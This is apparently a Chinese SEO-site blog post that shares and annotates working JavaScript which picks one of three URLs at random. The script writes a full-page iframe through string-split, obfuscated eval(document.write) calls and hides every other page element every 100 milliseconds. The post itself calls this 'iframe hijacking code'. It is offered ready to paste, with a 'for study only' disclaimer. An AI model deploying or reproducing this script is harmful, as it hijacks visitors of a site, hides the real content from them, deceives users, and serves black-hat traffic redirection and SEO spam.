从别人的网站里面发现一段比较有趣的代码,在三个事件之间随机进行iframe框架跳转。
代码比较简单,为了防止小白看看不懂已经写好注解。这里分享给大家。
var m = 3;//几个事件 var n = Math.floor(Math.random() * m + 1); //随机选取事件 switch (n) { case 1://事件一:iframe框架跳转 a = 'http://www.baidu.com'; var ss = '<div id="showcloneshengxiaon" style="height: 100%; width: 100%; background-color: rgb(255, 255, 255); background-position: initial initial; background-repeat: initial initial;"><ifr' + 'ame scrolling="yes" marginheight=0 marginwidth=0 frameborder="0" width="100%" width="14' + '00" height="100%" src="http://www.baidu.com"></iframe></div><style type="text/css">html{width:100%;height:100%}body {width:100%;height:100%;overflow:hidden}</style>'; eval("do" + "cu" + "ment.wr" + "ite('" + ss + "');"); try { setInterval(function() { try { document.getElementById("div" + "All").style.display = "no" + "ne" } catch(e) {} for (var i = 0; i < document.body.children.length; i++) { try { var a = document.body.children[i].tagName; var b = document.body.children[i].id; if (b != "iconDiv1" && b != "showcloneshengxiaon") { document.body.children[i].style.display = "non" + "e" } } catch(e) {} } }, 100) } catch(e) {} break; case 2://事件二:iframe框架跳转 a = 'http://www.sougou.com'; var ss = '<div id="showcloneshengxiaon" style="height: 100%; width: 100%; background-color: rgb(255, 255, 255); background-position: initial initial; background-repeat: initial initial;"><ifr' + 'ame scrolling="yes" marginheight=0 marginwidth=0 frameborder="0" width="100%" width="14' + '00" height="100%" src="http://www.sougou.com"></iframe></div><style type="text/css">html{width:100%;height:100%}body {width:100%;height:100%;overflow:hidden}</style>'; eval("do" + "cu" + "ment.wr" + "ite('" + ss + "');"); try { setInterval(function() { try { document.getElementById("div" + "All").style.display = "no" + "ne" } catch(e) {} for (var i = 0; i < document.body.children.length; i++) { try { var a = document.body.children[i].tagName; var b = document.body.children[i].id; if (b != "iconDiv1" && b != "showcloneshengxiaon") { document.body.children[i].style.display = "non" + "e" } } catch(e) {} } }, 100) } catch(e) {} break; case 3://事件三:iframe框架跳转 a = 'http://www.360.com'; var ss = '<div id="showcloneshengxiaon" style="height: 100%; width: 100%; background-color: rgb(255, 255, 255); background-position: initial initial; background-repeat: initial initial;"><ifr' + 'ame scrolling="yes" marginheight=0 marginwidth=0 frameborder="0" width="100%" width="14' + '00" height="100%" src="http://www.360.com"></iframe></div><style type="text/css">html{width:100%;height:100%}body {width:100%;height:100%;overflow:hidden}</style>'; eval("do" + "cu" + "ment.wr" + "ite('" + ss + "');"); try { setInterval(function() { try { document.getElementById("div" + "All").style.display = "no" + "ne" } catch(e) {} for (var i = 0; i < document.body.children.length; i++) { try { var a = document.body.children[i].tagName; var b = document.body.children[i].id; if (b != "iconDiv1" && b != "showcloneshengxiaon") { document.body.children[i].style.display = "non" + "e" } } catch(e) {} } }, 100) } catch(e) {} break; }
上面的代码中,一开始申明了随机事件的多少,然后生成随机数,后面的代码没什么特殊的,就是iframe窗体而已。
其中的iframe代码中,从div中可以看到“showcloneshengxiaon”,明显可以看到引用的《iframe框架劫持代码》
document.body.removeChild(div) //div是个变量,指某个元素,删除该元素 style.display = "none" ;
隐藏元素,这一段是多余的,指定的元素已经删了,就无所谓隐藏了。
本站所有内容仅限用于学习和研究目的,程序仅供本地断网测试,转载请说明出处!
站群SEO » 随机iframe框架跳转的js代码
站群SEO » 随机iframe框架跳转的js代码